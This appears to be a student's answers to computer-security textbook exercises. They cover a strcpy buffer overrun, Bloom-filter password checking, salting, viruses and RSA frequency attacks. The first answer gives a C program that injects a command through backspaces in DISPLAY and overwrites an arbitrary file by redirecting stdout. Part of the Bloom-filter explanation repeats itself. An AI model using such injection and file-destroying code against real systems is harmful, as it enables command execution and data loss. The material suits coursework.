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a.   strcpy原則上不撿查長度，所以會有buffer overrun的風險，而現在塞的是display，這個char array是一個local variable，所以是擺在stack上。在超過512bytes的界限之後，不考慮frame pointer這些東西的話，會有C runtime呼叫main() 時所留的return address。

b.   當把stdout重新導向到某個檔案時可以把這個檔案摧毀，所以當stdout導向到command parser時，把DISPLAY的前面都改成退格，attacker就可以寫他想要的指令了。

c. #include <stdio.h>
 int main() 
{
  char command[512] = "env DISPLAY=";
  int i;
  for (i = 12; i <= 48; i++)
 command[i] = '\b';
strcat(command, "\"any message you want to type \" ./print_display\n");
FILE *f = freopen("any_file_you_want_to_destroy", "w", stdout);
system(command);
fclose(f);
return 0;
}
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  R = -k/ln(1-P1/k)= N/D 

  N為hash table d 大小，也就是64M

  k 為hash function的個數

  P 為false positive rate

  D 為字典內的個數，即要求的

所以當P = 0.05時，D = 82231440.94，取整數為82231441

  所以當P = 0.01時，D = 43421519.77，取整數為43421520
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a. Since KUa and KRa are inverses, the value KRa can be checked to validate that Pa was correctly supplied: Simply take some arbitrary block X and verify that X = DKRa [ EKUa [X] ].

b. Since the file /etc/publickey is publicly readable, an attacker can guess P (say P’) and compute KRa’ = Dp’ [E [ KRa] ]. Now he can choose an arbitrary block Y and check to see if Y = 

DKRa [ EKUa [Y] ]. If so, it is highly probable that P’ = P. Additional blocks can be used to verify the equality.

4
Without the salt, the attacker can guess a password and encrypt it. If ANY of the users on a system use that password, then there will be a match. With the salt, the attacker must guess a password and then encrypt it once for each user, using the particular salt for each user.
5
a. If there is only one hash function (k = 1), which produces one of N possible hash values, and there is only one word in the dictionary, then the probability that an arbitrary bit bi is set to 1 is just 1/N. If there are k hash functions, let us assume for simplicity that they produce k distinct hash functions for a given word. This assumption only introduces a small margin of error. Then, the probability that an arbitrary bit bi is set to 1 is k/N. Therefore, the probability that bi is equal to 0 is 1-k/N. The probability that a bit is left unset after D dictionary words are processed is just the probability that each of the D transformations set other bits: This can also be interpreted as the expected fraction of bits that are equal to 0.

b. A word not in the dictionary will be falsely accepted if all k bits tested are equal to 1. Now, from part (a), we can say that the expected fraction of bits in the hash table that are equal to one is 1 expected fraction of bits in the hash table that are equal to one is 1 – ψ. The probability that a random word will be mapped by a single hash function onto a bit that is already set is the probability that the bit generated by the hash function is in the set of bits equal to one, which is just 1 –ψ. Therefore, the probability that th k hash functions applied to the word will produce k bits all of which are in the set of bits equal to one is (1 –ψ)k.

c. We use the approximation ( 1- X) ～ e-x.

6
  The program will loop indefinitely once all of the executable files in the system are infected.

7
  D is supposed to examine a program P and return TRUE if P is a computer virus and FALSE if it is not. But CV calls D. If D says that CV is a virus, then CV will not infect an executable. But if Dsays that CV is not a virus, it infects an executable. D always returns the wrong answer.

8
    RSA原本是以一個BLOCK來加密，而現在改用一個字元、一個字元加密，加密的結果想必是另一個代碼，也就是說 A,B,C…,Z皆各自對應到一個特定的代碼，如此便可利用第二章的頻率破解法來破解了，如在英文字中，最常出現的字元是e。
